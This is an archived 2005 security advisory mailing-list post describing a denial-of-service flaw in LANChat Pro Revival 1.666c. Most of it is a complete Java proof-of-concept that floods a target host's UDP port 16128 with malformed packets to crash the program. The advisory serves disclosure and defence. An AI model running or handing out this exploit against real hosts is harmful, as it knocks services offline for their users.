[NT] LANChat Pro Revival DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 05/31/05

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Date: 31 May 2005 17:08:03 +0200

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      LANChat Pro Revival DoS
    ------------------------------------------------------------------------

    SUMMARY

    " <http://lanchat.republika.pl/> LANChat Pro is a local area network chat
    program with multicolor, custom skins and sounds support, WAN operation
    and file transfer and many other options."

    By suppling malformed UDP packets to LANChat Pro, a remote attacker can
    cause the program to crash.

    DETAILS

    Vulnerable Systems:
     * LANChat Pro Revival version 1.666c

    LANChat Pro Revival does not filter the data received by UDP socket, and
    wrong data will cause the program to crash.

    Exploit:
     /*
        LANChat Pro Revival v1.666c - Denial Of Service - Proof Of Concept
        Coded by: Donato Ferrante
     */

    import java.net.DatagramPacket;
    import java.net.DatagramSocket;
    import java.net.InetAddress;

    public class LANChatPR_1666c_DoS_poc {

     
     final static String DATA = " ";
     final static int PORT = 16128;

     public static void main(String [] args){
     
      credits();

      if(args.length < 1)
       usage();

                    int port;

      try{

       if(args.length > 1)
        port = Integer.parseInt(args[1]);
       else
        port = PORT;
        
       DatagramPacket packet = new DatagramPacket(DATA.getBytes(),
    DATA.length(), InetAddress.getByName(args[0]), port);
       DatagramSocket socket = new DatagramSocket();

       int i = 0;
       System.out.print("\nSending packets...");
       while(i++ < 6)
        socket.send(packet);
       System.out.println(" [done]");
       
       Thread.sleep(4500);
      
       System.out.println("\nProof Of Concept terminated.\n\n");
       
      }catch(Exception e){System.out.println(e);}
     }

     private static String VERSION = "0.1.0";
     private static void credits(){

      System.out.println("\n\nLANChat Pro Revival v1.666c - Denial Of Service
    - Proof Of Concept\n");
      System.out.println("Version " + VERSION );
      System.out.println("coded by: Donato Ferrante");
      System.out.println("e-mail: fdonato@autistici.org");
      System.out.println("web: www.autistici.org/fdonato\n\n");
     }

     private static void usage(){

      System.out.println("Usage: ");
      System.out.println(" java LANChatPR_1666c_DoS_poc <host> [port]");
      System.out.println(" [Default port is 16128]\n\n");
      System.exit(-1);
     }
    }

    /* EOF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fdonato@autistici.org>
    Donato Ferrante.

    ========================================

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